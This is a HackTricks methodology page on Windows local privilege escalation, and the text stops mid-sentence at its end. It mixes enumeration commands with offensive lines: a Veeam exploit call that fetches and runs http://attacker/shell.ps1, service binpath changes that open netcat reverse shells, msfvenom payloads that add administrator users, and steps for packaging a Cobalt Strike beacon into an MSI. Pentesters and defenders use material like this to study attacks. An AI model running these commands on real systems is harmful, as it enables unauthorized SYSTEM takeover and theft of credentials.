--- title: "Windows Local Privilege Escalation" section: "Windows" sectionSlug: "windows-hardening" sourcePath: "src/windows-hardening/windows-local-privilege-escalation/README.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/README.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: true modified: true license: "CC-BY-NC-4.0" --- # Windows Local Privilege Escalation ### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) This page consolidates general Windows privilege-escalation methodology from several foundational guides.[[1]](#references)[[3]](#references)[[6]](#references)[[7]](#references)[[8]](#references)[[11]](#references) Its practical enumeration flow also draws on community workshops and checklists.[[4]](#references)[[9]](#references)[[10]](#references) The historical attack material includes the DerbyCon presentation on Windows privilege escalation.[[5]](#references) ## Initial Windows Theory ### Access Tokens **If you don't know what Windows access tokens are, read the following page before continuing:** [Access Tokens](/hacktricks/windows-hardening/windows-local-privilege-escalation/access-tokens) ### ACLs - DACLs/SACLs/ACEs **Check the following page for more info about ACLs - DACLs/SACLs/ACEs:** [Acls Dacls Sacls Aces](/hacktricks/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces) ### Integrity Levels **If you don't know what integrity levels are in Windows, read the following page before continuing:** [Integrity Levels](/hacktricks/windows-hardening/windows-local-privilege-escalation/integrity-levels) ## Windows Security Controls There are different things in Windows that could **prevent you from enumerating the system**, run executables or even **detect your activities**. You should **read** the following **page** and **enumerate** all these **defenses** **mechanisms** before starting the privilege escalation enumeration: [Authentication Credentials Uac And Efs](/hacktricks/windows-hardening/authentication-credentials-uac-and-efs/overview) ### Admin Protection / UIAccess silent elevation UIAccess processes launched through `RAiLaunchAdminProcess` can be abused to reach High IL without prompts when AppInfo secure-path checks are bypassed. Check the dedicated UIAccess/Admin Protection bypass workflow here: [Uiaccess Admin Protection Bypass](/hacktricks/windows-hardening/windows-local-privilege-escalation/uiaccess-admin-protection-bypass) Secure Desktop accessibility registry propagation can be abused for an arbitrary SYSTEM registry write (RegPwn):[[18]](#references) [Secure Desktop Accessibility Registry Propagation Regpwn](/hacktricks/windows-hardening/windows-local-privilege-escalation/secure-desktop-accessibility-registry-propagation-regpwn) Recent Windows builds also introduced an **SMB arbitrary-port** LPE path where a privileged local NTLM authentication is reflected over a reused SMB TCP connection: [Local Ntlm Reflection Via Smb Arbitrary Port](/hacktricks/windows-hardening/windows-local-privilege-escalation/local-ntlm-reflection-via-smb-arbitrary-port) ## System Info ### Version info enumeration Check if the Windows version has any known vulnerability (check also the patches applied). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture ``` ```bash [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ### Version Exploits This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **massive attack surface** that a Windows environment presents. **On the system** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) - [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ **Locally with system information** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) **Github repos of exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) ### Environment Any credential/Juicy info saved in the env variables? ```bash set dir env: Get-ChildItem Env: | ft Key,Value -AutoSize ``` ### PowerShell History ```bash ConsoleHost_history #Find the PATH where is saved type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell Transcript files You can learn how to turn this on in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription dir C:\Transcripts #Start a Transcription session Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber Stop-Transcript ``` ### PowerShell Module Logging Details of PowerShell pipeline executions are recorded, encompassing executed commands, command invocations, and parts of scripts. However, complete execution details and output results might not be captured. To enable this, follow the instructions in the "Transcript files" section of the documentation, opting for **"Module Logging"** instead of **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` To view the last 15 events from PowersShell logs you can execute: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** A complete activity and full content record of the script's execution is captured, ensuring that every block of code is documented as it runs. This process preserves a comprehensive audit trail of each activity, valuable for forensics and analyzing malicious behavior. By documenting all activity at the time of execution, detailed insights into the process are provided. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` Logging events for the Script Block can be located within the Windows Event Viewer at the path: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ To view the last 20 events you can use: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` ### Internet Settings ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ``` ### Drives ```bash wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ## WSUS You can compromise the system if the updates are not requested using http**S** but http. You start by checking if the network uses a non-SSL WSUS update by running the following in cmd: ```text reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` Or the following in PowerShell: ```text Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` If you get a reply such as one of these: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 ``` ```bash WUServer : http://xxxx-updxx.corp.internal.com:8530 PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored. In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. Read the research here: [Ctx Wsuspect White Paper (1).Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/CTX_WSUSpect_White_Paper%20%281%29.pdf) **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).[[33]](#references)\ Basically, this is the flaw that this bug exploits: > If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. > > Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). ## Third-Party Auto-Updaters and Agent IPC (local privesc) Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here: [Abusing Auto Updaters And Ipc](/hacktricks/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc) ## Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401) Veeam B&R < `11.0.1.1261` exposes a localhost service on **TCP/9401** that processes attacker-controlled messages, allowing arbitrary commands as **NT AUTHORITY\SYSTEM**.[[12]](#references) - **Recon**: confirm the listener and version, e.g., `netstat -ano | findstr 9401` and `(Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion`. - **Exploit**: place a PoC such as `VeeamHax.exe` with the required Veeam DLLs in the same directory, then trigger a SYSTEM payload over the local socket: ```powershell .\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\"" ``` The service executes the command as SYSTEM. ## KrbRelayUp A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)[[36]](#references) ## AlwaysInstallElevated **If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` ### Metasploit payloads ```bash msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac won't be prompted ``` If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`** ### PowerUP Use the `Write-UserAddMSI` command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access): ```text Write-UserAddMSI ``` Just execute the created binary to escalate privileges. ### MSI Wrapper Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines** [Msi Wrapper](/hacktricks/windows-hardening/windows-local-privilege-escalation/msi-wrapper) ### Create MSI with WIX [Create Msi With Wix](/hacktricks/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix) ### Create MSI with Visual Studio - **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` - Open **Visual Studio**, select **Create a new project** and type "installer" into the search box. Select the **Setup Wizard** project and click **Next**. - Give the project a name, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**. - Keep clicking **Next** until you get to step 3 of 4 (choose files to include). Click **Add** and select the Beacon payload you just generated. Then click **Finish**. - Highlight the **AlwaysPrivesc** project in the **Solution Explorer** and in the **Properties**, change **TargetPlatform** from **x86** to **x64**. - There are other properties you can change, such as the **Author** and **Manufacturer** which can make the installed app look more legitimate. - Right-click the project and select **View > Custom Actions**. - Right-click **Install** and select **Add Custom Action**. - Double-click on **Application Folder**, select your **beacon.exe** file and click **OK**. This will ensure that the beacon payload is executed as soon as the installer is run. - Under the **Custom Action Properties**, change **Run64Bit** to **True**. - Finally, **build it**. - If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64. ### MSI Installation To execute the **installation** of the malicious `.msi` file in **background:** ```text msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` To exploit this vulnerability you can use: _exploit/windows/local/always_install_elevated_ ## Antivirus and Detectors ### Audit Settings These settings decide what is being **logged**, so you should pay attention ```text reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF Windows Event Forwarding, is interesting to know where are the logs sent ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS **LAPS** is designed for the **management of local Administrator passwords**, ensuring that each password is **unique, randomised, and regularly updated** on computers joined to a domain. These passwords are securely stored within Active Directory and can only be accessed by users who have been granted sufficient permissions through ACLs, allowing them to view local admin passwords if authorized. [Laps](/hacktricks/windows-hardening/active-directory-methodology/laps) ### WDigest If active, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](/hacktricks/windows-hardening/stealing-credentials/credentials-protections#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection Starting with **Windows 8.1**, Microsoft introduced enhanced protection for the Local Security Authority (LSA) to **block** attempts by untrusted processes to **read its memory** or inject code, further securing the system.\ [**More info about LSA Protection here**](/hacktricks/windows-hardening/stealing-credentials/credentials-protections#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard **Credential Guard** was introduced in **Windows 10**. Its purpose is to safeguard credentials stored on a device against threats such as pass-the-hash attacks. [**More information about Credential Guard is available here.**](/hacktricks/windows-hardening/stealing-credentials/credentials-protections#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials **Domain credentials** are authenticated by the **Local Security Authority** (LSA) and utilized by operating system components. When a user's logon data is authenticated by a registered security package, domain credentials for the user are typically established.\ [**More info about Cached Credentials here**](/hacktricks/windows-hardening/stealing-credentials/credentials-protections#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` ## Users & Groups ### Enumerate Users & Groups You should check if any of the groups where you belong have interesting permissions ```bash # CMD net users %username% #Me net users #All local users net localgroup #Groups net localgroup Administrators #Who is inside Administrators group whoami /all #Check the privileges # PS Get-WmiObject -Class Win32_UserAccount Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Privileged groups If you **belongs to some privileged group you may be able to escalate privileges**. Learn about privileged groups and how to abuse them to escalate privileges here: [Privileged Groups And Token Privileges](/hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges) ### Token manipulation **Learn more** about what is a **token** in this page: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ Check the following page to **learn about interesting tokens** and how to abuse them: [Privilege Escalation Abusing Tokens](/hacktricks/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens) ### Logged users / Sessions ```bash qwinsta klist sessions ``` ### Home folders ```bash dir C:\Users Get-ChildItem C:\Users ``` ### Password Policy ```bash net accounts ``` ### Get the content of the clipboard ```bash powershell -command "Get-Clipboard" ``` ## Running Processes ### File and Folder Permissions First of all, listing the processes **check for passwords inside the command line of the process**.\ Check if you can **overwrite some binary running** or if you have write permissions of the binary folder to exploit possible [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes #With allowed Usernames Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](/hacktricks/linux-hardening/software-information/electron-cef-chromium-debugger-abuse). **Checking permissions of the processes binaries** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ) ``` **Checking permissions of the folders of the processes binaries (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` ### Memory Password mining You can create a memory dump of a running process using **procdump** from sysinternals. Services like FTP have the **credentials in clear text in memory**, try to dump the memory and read the credentials. ```bash procdump.exe -accepteula -ma ``` ### Insecure GUI apps **Applications running as SYSTEM may allow an user to spawn a CMD, or browse directories.** Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" ## Services Service Triggers let Windows start a service when certain conditions occur (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Even without SERVICE_START rights you can often start privileged services by firing their triggers. See enumeration and activation techniques here: - [Service Triggers](/hacktricks/windows-hardening/windows-local-privilege-escalation/service-triggers) Get a list of services: ```bash net start wmic service list brief sc query Get-Service ``` ### Permissions You can use **sc** to get information of a service ```bash sc qc ``` It is recommended to have the binary **accesschk** from _Sysinternals_ to check the required privilege level for each service. ```bash accesschk.exe -ucqv #Check rights for different groups ``` It is recommended to check if "Authenticated Users" can modify any service: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` [You can download accesschk.exe for XP from here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### Enable service If you are having this error (for example with SSDPSRV): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ You can enable it using ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Take into account that the service upnphost depends on SSDPSRV to work (for XP SP1)** **Another workaround** of this problem is running: ```text sc.exe config usosvc start= auto ``` ### **Modify service binary path** In the scenario where the "Authenticated users" group possesses **SERVICE_ALL_ACCESS** on a service, modification of the service's executable binary is possible. To modify and execute **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe" sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` ### Restart service ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` Privileges can be escalated through various permissions: - **SERVICE_CHANGE_CONFIG**: Allows reconfiguration of the service binary. - **WRITE_DAC**: Enables permission reconfiguration, leading to the ability to change service configurations. - **WRITE_OWNER**: Permits ownership acquisition and permission reconfiguration. - **GENERIC_WRITE**: Inherits the ability to change service configurations. - **GENERIC_ALL**: Also inherits the ability to change service configurations. For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized. ### Services binaries weak permissions If a service runs as **`LocalSystem`**, **`LocalService`**, **`NetworkService`**, or a privileged domain account, but **low-privileged users can modify the service EXE or its parent folder**, the service can often be hijacked by **replacing the binary and restarting the service**. **Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ You can get every binary that is executed by a service using **wmic** (not in system32) and check your permissions using **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` You can also use **sc** and **icacls**: ```bash sc qc icacls "C:\path\to\service.exe" sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` Look for dangerous ACLs granted to **`Everyone`**, **`BUILTIN\Users`**, or **`Authenticated Users`**, especially **`(F)`**, **`(M)`**, or **`(W)`** on the service executable or on the directory containing it. A practical abuse flow is:[[27]](#references) 1. Confirm the service account and executable path with `sc qc `. 2. Confirm that the binary is writable with `icacls `. 3. Replace the service binary with a payload or a valid malicious service binary. 4. Restart the service with `sc stop && sc start ` (or wait for a reboot / service trigger). Useful automated checks:[[28]](#references) ```powershell . .\PowerUp.ps1 Get-ModifiableServiceFile -Verbose SharpUp.exe audit ModifiableServiceBinaries . .\PrivescCheck.ps1 Invoke-PrivescCheck -Extended -Audit ``` > If the service does not allow a normal user to restart it, check whether it starts automatically on boot, has a failure action that relaunches it, or can be triggered indirectly by the application using it. ### Services registry modify permissions You should check if you can modify any service registry.\ You can **check** your **permissions** over a service **registry** doing: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services #Try to write every service with its current content (to check if you have write permissions) for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` It should be checked whether **Authenticated Users** or **NT AUTHORITY\INTERACTIVE** possess `FullControl` permissions. If so, the binary executed by the service can be altered. To change the Path of the binary executed: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### Registry symlink race to arbitrary HKLM value write (ATConfig) Some Windows Accessibility features create per-user **ATConfig** keys that are later copied by a **SYSTEM** process into an HKLM session key. A registry **symbolic link race** can redirect that privileged write into **any HKLM path**, giving an arbitrary HKLM **value write** primitive.[[18]](#references) Key locations (example: On-Screen Keyboard `osk`): - `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs` lists installed accessibility features. - `HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\` stores user-controlled configuration. - `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session\ATConfig\` is created during logon/secure-desktop transitions and is writable by the user. Abuse flow (CVE-2026-24291 / ATConfig): 1. Populate the **HKCU ATConfig** value you want to be written by SYSTEM. 2. Trigger the secure-desktop copy (e.g., **LockWorkstation**), which starts the AT broker flow. 3. **Win the race** by placing an **oplock** on `C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml`; when the oplock fires, replace the **HKLM Session ATConfig** key with a **registry link** to a protected HKLM target. 4. SYSTEM writes the attacker-chosen value to the redirected HKLM path. Once you have arbitrary HKLM value write, pivot to LPE by overwriting service configuration values: - `HKLM\SYSTEM\CurrentControlSet\Services\\ImagePath` (EXE/command line) - `HKLM\SYSTEM\CurrentControlSet\Services\\Parameters\ServiceDll` (DLL) Pick a service that a normal user can start (e.g., **`msiserver`**) and trigger it after the write. **Note:** the public exploit implementation **locks the workstation** as part of the race. Example tooling (RegPwn BOF / standalone):[[19]](#references) ```bash beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll net start msiserver ``` ### Services registry AppendData/AddSubdirectory permissions If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:** [Appenddata Addsubdirectory Permission Over Service Registry](/hacktricks/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry) ### Unquoted Service Paths If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` List all unquoted service paths, excluding those belonging to built-in Windows services: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"' # Not only auto services # Using PowerUp.ps1 Get-ServiceUnquoted -Verbose ``` ```bash for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do ( echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. ) ) ``` ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` **You can detect and exploit** this vulnerability with metasploit: `exploit/windows/local/trusted\_service\_path` You can manually create a service binary with metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Recovery Actions Windows allows users to specify actions to be taken if a service fails. This feature can be configured to point to a binary. If this binary is replaceable, privilege escalation might be possible. More details can be found in the [official documentation](). ## Applications ### Installed Applications Check **permissions of the binaries** (maybe you can overwrite one and escalate privileges) and of the **folders** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Write Permissions Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks). A way to find weak folder/files permissions in the system is doing: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\ accesschk.exe -uwdqs "Everyone" c:\ # Find all weak file permissions per drive. accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.* accesschk.exe -uwdqs "Everyone" c:\*.* ``` ```bash icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%" icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%" ``` ```bash Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` ### Notepad++ plugin autoload persistence/execution Notepad++ autoloads any plugin DLL under its 